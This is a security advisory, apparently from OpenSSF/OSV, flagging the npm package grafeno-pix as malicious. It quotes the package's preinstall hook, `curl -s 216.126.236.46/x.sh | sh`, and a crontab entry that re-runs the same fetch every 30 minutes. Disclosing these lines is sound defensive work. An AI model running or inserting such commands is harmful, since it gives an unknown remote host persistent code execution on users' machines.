OpenSSF/OSV advisory MAL-2026-15507 confirms this npm version as malicious. grafeno-pix@1.0.0 declares a preinstall hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on `npm install`. The same hook installs a crontab entry (`*/30 * * * * curl -s 216.126.236.46/x.sh | sh`) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host...
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OpenSSF Malicious Packages via OSV
Summary
Malicious code in grafeno-pix (npm)
Details
grafeno-pix@1.0.0 declares a preinstall hook that runs `curl -s 216.126.236.46/x.sh | sh`, fetching a shell script from a bare IP over plain HTTP and executing it as the installer on `npm install`. The same hook installs a crontab entry (`*/30 * * * * curl -s 216.126.236.46/x.sh | sh`) that re-fetches and executes the remote script every 30 minutes, providing persistent remote code delivery to the installer's host. The endpoint is an anonymous bare-IP address unrelated to any package publisher and the fetched content is unpinned and integrity-unchecked, so whatever bytes 216.126.236.46 returns run as the user performing the install, indefinitely.
## Source: ossf-package-analysis (e991c3c85e0ddf3403892cc87f458dc91d6a8c2d1da6cca375034c1a0857e584) The OpenSSF Package Analysis project identified 'grafeno-pix' @ 1.0.1 (npm) as malicious.
It is considered malicious because:
- The package executes one or more commands associated with malicious behavior.
Decision reason
OpenSSF Malicious Packages via OSV confirms grafeno-pix@1.0.1 as malicious (MAL-2026-15507): Malicious code in grafeno-pix (npm)